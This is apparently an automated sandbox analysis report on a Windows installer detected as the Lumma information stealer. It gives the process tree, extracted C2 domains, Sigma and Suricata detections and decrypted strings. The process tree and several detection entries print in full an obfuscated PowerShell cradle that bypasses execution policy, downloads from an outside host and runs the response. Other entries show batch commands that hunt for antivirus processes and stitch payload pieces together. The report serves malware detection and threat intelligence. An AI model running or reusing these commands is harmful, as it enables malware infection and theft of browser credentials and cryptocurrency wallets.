Edit tour

Windows Analysis Report
installer_1.05_36.8.exe

Overview

General Information

Sample name:	installer_1.05_36.8.exe
Analysis ID:	1584828
MD5:	586c45b07a69a89813272e425388029f
SHA1:	979e0ccab38b87ac3d3d4c79a6a3d9351179df26
SHA256:	41fcac4067db860114a270ffadb6083647ed54bc95e43faf1fffbb23f0cf2a2b
Tags:	AutoITexeLummaStealeruser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Found direct / indirect Syscall (likely to bypass EDR)

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample or dropped binary is a compiled AutoHotkey binary

Sample uses string decryption to hide its real strings

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

installer_1.05_36.8.exe (PID: 7328 cmdline: "C:\Users\user\Desktop\installer_1.05_36.8.exe" MD5: 586C45B07A69A89813272E425388029F)

cmd.exe (PID: 7376 cmdline: "C:\Windows\System32\cmd.exe" /c move Symphony Symphony.cmd & Symphony.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7464 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7492 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7516 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7524 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7560 cmdline: cmd /c md 180180 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 7576 cmdline: extrac32 /Y /E Gilbert MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 7596 cmdline: findstr /V "uploaded" Smell MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7612 cmdline: cmd /c copy /b 180180\Likewise.com + Moderators + Ship + Develops + Briefs + Cache + Web + Dependent + Crimes + Responsibility + Brandon + Separated 180180\Likewise.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7632 cmdline: cmd /c copy /b ..\Senegal + ..\Contract + ..\Chrome + ..\Renewable + ..\Vancouver + ..\Saving + ..\Topless + ..\Coordinate d MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Likewise.com (PID: 7648 cmdline: Likewise.com d MD5: 62D09F076E6E0240548C2F837536A46A)

powershell.exe (PID: 8080 cmdline: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

M6BJM5KUQF518S8VT.exe (PID: 2656 cmdline: "C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe" MD5: 51F99EDDD33CC04FB0F55F873B76D907)

M6BJM5KUQF518S8VT.tmp (PID: 5772 cmdline: "C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp" /SL5="$4046A,7785838,845824,C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe" MD5: F809F51E678B7F2E388F8C969EF902C8)

M6BJM5KUQF518S8VT.exe (PID: 6184 cmdline: "C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe" /VERYSILENT MD5: 51F99EDDD33CC04FB0F55F873B76D907)

M6BJM5KUQF518S8VT.tmp (PID: 1908 cmdline: "C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp" /SL5="$5046A,7785838,845824,C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe" /VERYSILENT MD5: F809F51E678B7F2E388F8C969EF902C8)

timeout.exe (PID: 7484 cmdline: "timeout" 9 MD5: 100065E21CFBBDE57CBA2838921F84D6)

conhost.exe (PID: 7504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7596 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7636 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7632 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 6104 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7704 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7672 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 7404 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5644 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5812 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 5304 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 332 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 2536 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 7824 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7860 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7868 cmdline: find /I "nswscsvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 1020 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH | find /I "sophoshealth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7932 cmdline: tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7884 cmdline: find /I "sophoshealth.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

BrightLib.exe (PID: 1344 cmdline: "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe" MD5: 6A8860A8150021B2D5B9BB707DE4FA37)

choice.exe (PID: 7664 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["noisycuttej.shop", "rabidcowse.shop", "nearycrepso.shop", "tirepublicerj.shop", "wholersorie.shop", "abruptyopsn.shop", "framekgirus.shop", "siffinisherz.sbs", "cloudewahsj.shop"], "Build id": "jMw1IE--psyche"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Likewise.com d, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com, ParentProcessId: 7648, ParentProcessName: Likewise.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8080, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Likewise.com d, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com, ParentProcessId: 7648, ParentProcessName: Likewise.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8080, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Likewise.com d, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com, ParentProcessId: 7648, ParentProcessName: Likewise.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8080, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Likewise.com d, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com, ParentProcessId: 7648, ParentProcessName: Likewise.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8080, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Likewise.com d, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com, ParentProcessId: 7648, ParentProcessName: Likewise.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8080, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Symphony Symphony.cmd & Symphony.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7376, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 7524, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T15:47:31.898046+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	104.21.96.1	443	TCP
2025-01-06T15:47:32.912074+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	104.21.96.1	443	TCP
2025-01-06T15:47:34.102061+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	104.21.96.1	443	TCP
2025-01-06T15:47:35.740233+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	104.21.96.1	443	TCP
2025-01-06T15:47:37.035452+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	104.21.96.1	443	TCP
2025-01-06T15:47:38.736097+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.96.1	443	TCP
2025-01-06T15:47:39.775285+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.96.1	443	TCP
2025-01-06T15:47:40.728430+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	104.21.96.1	443	TCP
2025-01-06T15:47:41.951452+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	185.161.251.21	443	TCP
2025-01-06T15:47:42.929240+0100	2028371	3	Unknown Traffic	192.168.2.4	49746	172.67.208.58	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T15:47:32.368937+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49737	104.21.96.1	443	TCP
2025-01-06T15:47:33.418466+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49738	104.21.96.1	443	TCP
2025-01-06T15:47:41.205911+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49744	104.21.96.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T15:47:32.368937+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49737	104.21.96.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T15:47:33.418466+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49738	104.21.96.1	443	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T15:47:43.351136+0100	2008438	1	A Network Trojan was detected	172.67.208.58	443	192.168.2.4	49746	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T15:47:36.370066+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49740	104.21.96.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["noisycuttej.shop", "rabidcowse.shop", "nearycrepso.shop", "tirepublicerj.shop", "wholersorie.shop", "abruptyopsn.shop", "framekgirus.shop", "siffinisherz.sbs", "cloudewahsj.shop"], "Build id": "jMw1IE--psyche"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe

ReversingLabs: Detection: 78%

Multi AV Scanner detection for submitted file

Source: installer_1.05_36.8.exe

Virustotal: Detection: 12%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 90.5% probability

Sample uses string decryption to hide its real strings

Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: siffinisherz.sbs
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000C.00000003.2010939189.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	String decryptor: jMw1IE--psyche

Source: installer_1.05_36.8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49737 version: TLS 1.2
